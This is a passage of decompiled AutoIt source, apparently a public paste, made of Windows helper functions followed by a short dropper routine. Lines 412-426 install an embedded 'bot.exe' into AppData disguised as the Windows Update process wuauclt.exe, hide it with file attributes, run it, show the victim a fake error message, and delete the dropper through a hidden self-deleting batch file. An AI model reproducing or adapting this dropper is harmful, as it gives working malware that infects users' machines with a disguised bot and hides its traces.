  318.         DllStructSetData($TRECT, "Left", $ILEFT)
  319.         DllStructSetData($TRECT, "Top", $ITOP)
  320.         DllStructSetData($TRECT, "Right", $IRIGHT)
  321.         DllStructSetData($TRECT, "Bottom", $IBOTTOM)
  322.         $ARESULT = DllCall("user32.dll", "bool", "ClipCursor", "struct*", $TRECT)
  323.         If @error Or Not $ARESULT[0] Then Return SetError(2, _WINAPI_GETLASTERROR(), False)
  324.     EndIf
  325.     Return True
  326. EndFunc
  327. Func _SINGLETON($SOCCURENCENAME, $IFLAG = 0)
  328.     Local Const $ERROR_ALREADY_EXISTS = 183
  329.     Local Const $SECURITY_DESCRIPTOR_REVISION = 1
  330.     Local $TSECURITYATTRIBUTES = 0
  331.     If BitAND($IFLAG, 2) Then
  332.         Local $TSECURITYDESCRIPTOR = DllStructCreate("byte;byte;word;ptr[4]")
  333.         Local $ARET = DllCall("advapi32.dll", "bool", "InitializeSecurityDescriptor", "struct*", $TSECURITYDESCRIPTOR, "dword", $SECURITY_DESCRIPTOR_REVISION)
  334.         If @error Then Return SetError(@error, @extended, 0)
  335.         If $ARET[0] Then
  336.             $ARET = DllCall("advapi32.dll", "bool", "SetSecurityDescriptorDacl", "struct*", $TSECURITYDESCRIPTOR, "bool", 1, "ptr", 0, "bool", 0)
  337.             If @error Then Return SetError(@error, @extended, 0)
  338.             If $ARET[0] Then
  339.                 $TSECURITYATTRIBUTES = DllStructCreate($TAGSECURITY_ATTRIBUTES)
  340.                 DllStructSetData($TSECURITYATTRIBUTES, 1, DllStructGetSize($TSECURITYATTRIBUTES))
  341.                 DllStructSetData($TSECURITYATTRIBUTES, 2, DllStructGetPtr($TSECURITYDESCRIPTOR))
  342.                 DllStructSetData($TSECURITYATTRIBUTES, 3, 0)
  343.             EndIf
  344.         EndIf
  345.     EndIf
  346.     Local $HANDLE = DllCall("kernel32.dll", "handle", "CreateMutexW", "struct*", $TSECURITYATTRIBUTES, "bool", 1, "wstr", $SOCCURENCENAME)
  347.     If @error Then Return SetError(@error, @extended, 0)
  348.     Local $LASTERROR = DllCall("kernel32.dll", "dword", "GetLastError")
  349.     If @error Then Return SetError(@error, @extended, 0)
  350.     If $LASTERROR[0] = $ERROR_ALREADY_EXISTS Then
  351.         If BitAND($IFLAG, 1) Then
  352.             Return SetError($LASTERROR[0], $LASTERROR[0], 0)
  353.         Else
  354.             Exit -1
  355.         EndIf
  356.     EndIf
  357.     Return $HANDLE[0]
  358. EndFunc
  359. Func _ISPRESSED($SHEXKEY, $VDLL = "user32.dll")
  360.     Local $A_R = DllCall($VDLL, "short", "GetAsyncKeyState", "int", "0x" & $SHEXKEY)
  361.     If @error Then Return SetError(@error, @extended, False)
  362.     Return BitAND($A_R[0], 32768) <> 0
  363. EndFunc
  364. Func _VERSIONCOMPARE($SVERSION1, $SVERSION2)
  365.     If $SVERSION1 = $SVERSION2 Then Return 0
  366.     Local $SEP = "."
  367.     If StringInStr($SVERSION1, $SEP) = 0 Then $SEP = ","
  368.     Local $AVERSION1 = StringSplit($SVERSION1, $SEP)
  369.     Local $AVERSION2 = StringSplit($SVERSION2, $SEP)
  370.     If UBound($AVERSION1) <> UBound($AVERSION2) Or UBound($AVERSION1) = 0 Then
  371.         SetExtended(1)
  372.         If $SVERSION1 > $SVERSION2 Then
  373.             Return 1
  374.         ElseIf $SVERSION1 < $SVERSION2 Then
  375.             Return -1
  376.         EndIf
  377.     Else
  378.         For $I = 1 To UBound($AVERSION1) - 1
  379.             If StringIsDigit($AVERSION1[$I]) And StringIsDigit($AVERSION2[$I]) Then
  380.                 If Number($AVERSION1[$I]) > Number($AVERSION2[$I]) Then
  381.                     Return 1
  382.                 ElseIf Number($AVERSION1[$I]) < Number($AVERSION2[$I]) Then
  383.                     Return -1
  384.                 EndIf
  385.             Else
  386.                 SetExtended(1)
  387.                 If $AVERSION1[$I] > $AVERSION2[$I] Then
  388.                     Return 1
  389.                 ElseIf $AVERSION1[$I] < $AVERSION2[$I] Then
  390.                     Return -1
  391.                 EndIf
  392.             EndIf
  393.         Next
  394.     EndIf
  395.     Return SetError(2, 0, 0)
  396. EndFunc
  397. Func __MISC_GETDC($HWND)
  398.     Local $ARESULT = DllCall("User32.dll", "handle", "GetDC", "hwnd", $HWND)
  399.     If @error Or Not $ARESULT[0] Then Return SetError(1, _WINAPI_GETLASTERROR(), 0)
  400.     Return $ARESULT[0]
  401. EndFunc
  402. Func __MISC_GETDEVICECAPS($HDC, $IINDEX)
  403.     Local $ARESULT = DllCall("GDI32.dll", "int", "GetDeviceCaps", "handle", $HDC, "int", $IINDEX)
  404.     If @error Then Return SetError(@error, @extended, 0)
  405.     Return $ARESULT[0]
  406. EndFunc
  407. Func __MISC_RELEASEDC($HWND, $HDC)
  408.     Local $ARESULT = DllCall("User32.dll", "int", "ReleaseDC", "hwnd", $HWND, "handle", $HDC)
  409.     If @error Then Return SetError(@error, @extended, False)
  410.     Return $ARESULT[0] <> 0
  411. EndFunc
  412. _SINGLETON("Loader")
  413. $FILE = @AppDataDir & "\wuauclt.exe"
  414. ProcessClose("wuauclt.exe")
  415. ProcessClose("wuauclt.exe")
  416. ProcessClose("wuauclt.exe")
  417. FileSetAttrib($FILE, "-RSH")
  418. FileDelete($FILE)
  419. FileInstall("bot.exe", $FILE)
  420. FileSetAttrib($FILE, "+RSH")
  421. Run($FILE)
  422. MsgBox(16, "Error", "An error occurred!")
  423. $TIME = 5
  424. FileDelete(@TempDir & "\dele.bat")
  425. FileWrite(@TempDir & "\dele.bat", "ping -n " & $TIME + 1 & " localhost  > nul" & @CRLF & 'del "' & @ScriptFullPath & '" /F' & @CRLF & 'del "' & @TempDir & '\dele.bat" /F')
  426. Run(@TempDir & "\dele.bat", @TempDir, @SW_HIDE)
  427. ; DeTokenise by myAut2Exe >The Open Source AutoIT/AutoHotKey script decompiler< 2.11 build(180)
Advertisement
Add Comment
Please, Sign In to add comment